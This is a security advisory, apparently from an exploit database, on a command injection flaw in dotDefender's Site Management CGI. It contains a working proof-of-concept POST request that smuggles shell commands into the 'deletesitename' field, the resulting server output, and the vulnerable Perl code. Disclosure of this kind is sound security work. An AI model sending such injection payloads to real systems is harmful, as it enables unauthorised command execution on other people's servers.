logo
DATABASE RESOURCES PRICING ABOUT US

Remote Command Execution in dotDefender Site Management

Description

Problem Description =================== A remote command execution vulnerability exists in the dotDefender (3.8-5) Site Management. dotDefender [1] is a web appliaction firewall (WAF) which 'prevents hackers from attacking your website.' Technical Details ================= The Site Management application of dotDefender is reachable as a web application (https:site/dotDefender/) on the webserver. After passing the Basic Auth login you can create/delete applications. The mentioned vulnerability is in the 'deletesite' implementation and the 'deletesitename' variable. Insufficient input validation allows an attacker to inject arbitrary commands. Delete Site =========== A normal delete transaction looks as follow: POST /dotDefender/index.cgi HTTP/1.1 Host: 172.16.159.132 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://172.16.159.132/dotDefender/index.cgi Authorization: Basic YWRtaW46 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 76 sitename=dotdefeater&deletesitename=dotdefeater&action=deletesite&linenum=14 An attack looks like: --------------------/Request/-------------------- POST /dotDefender/index.cgi HTTP/1.1 Host: 172.16.159.132 User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: https://172.16.159.132/dotDefender/index.cgi Authorization: Basic YWRtaW46 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 95 sitename=dotdefeater&deletesitename=dotdefeater;id;ls -al ../;pwd;&action=deletesite&linenum=15 --------------------/Response/-------------------- [...] <br> uid=33(www-data) gid=33(www-data) groups=33(www-data) total 12 drwxr-xr-x 3 root root 4096 Nov 23 02:37 . drwxr-xr-x 9 root root 4096 Nov 23 02:37 .. drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin /usr/local/APPCure-full/lib/admin uid=33(www-data) gid=33(www-data) groups=33(www-data) total 12 drwxr-xr-x 3 root root 4096 Nov 23 02:37 . drwxr-xr-x 9 root root 4096 Nov 23 02:37 .. drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin /usr/local/APPCure-full/lib/admin uid=33(www-data) gid=33(www-data) groups=33(www-data) total 12 drwxr-xr-x 3 root root 4096 Nov 23 02:37 . drwxr-xr-x 9 root root 4096 Nov 23 02:37 .. drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin /usr/local/APPCure-full/lib/admin uid=33(www-data) gid=33(www-data) groups=33(www-data) total 12 drwxr-xr-x 3 root root 4096 Nov 23 02:37 . drwxr-xr-x 9 root root 4096 Nov 23 02:37 .. drwxr-xr-x 7 www-data 99 4096 Nov 23 07:11 admin /usr/local/APPCure-full/lib/admin [...] Affected Code ============= The affected code (perl) is in index1.cgi of the admin interface: 311 312 }elsif($action eq "deletesite") { # delete site 313 $deletesitename=$postFields{"deletesitename"}; 314 $dots_index = index($deletesitename,"%3A"); 315 316 if($dots_index != -1 ) { 317 $site_a_part= substr($deletesitename,0,$dots_index); 318 $site_b_part= substr($deletesitename,$dots_index+3,length($deletesitename)-$dots_index-2); 319 $site_a_part=&cleanIt($site_a_part); 320 $site_b_part=&cleanIt($site_b_part); 321 $deletesitename = $site_a_part.":".$site_b_part; 322 } 323 324 $linenum=$postFields{'linenum'}; 325 applyDbAudit($action); 326 &delline($linenum,2); 327 cleanSiteFingerPrints($deletesitename); 328 329 &deleteSiteConf($deletesitename); 330 $site_params="$CTMP_DIR/".$deletesitename."_params"; 331 system("rm -f $site_params"); And applicure-lib2.pl: 13 sub cleanIt { 14 my($param,$type)=@_; 15 16 $param =~ s/%([a-fA-F0-9]{2})/pack "H2", $1/eg; 17 if ($type eq 'any') { 18 } elsif ($type eq 'filter') { 19 $param =~ s/\+/" "/eg; 20 } elsif ($type eq 'path') { 21 $param = un_urlize($param); 22 #$param =~ s/([^A-Za-z0-9\-_.\/~'])//g; 23 #$param =~ s/\+/" "/eg; 24 } else { 25 $param =~ s/([^A-Za-z0-9\-_.~'])//g; 26 } 27 return $param; 28 } Here one can see that certain shell control characters are not protected by the call to cleanIt. Thus an attacker can gain control of the system call in line 331 of index1.cgi. References =========== [1] http://applicure.com/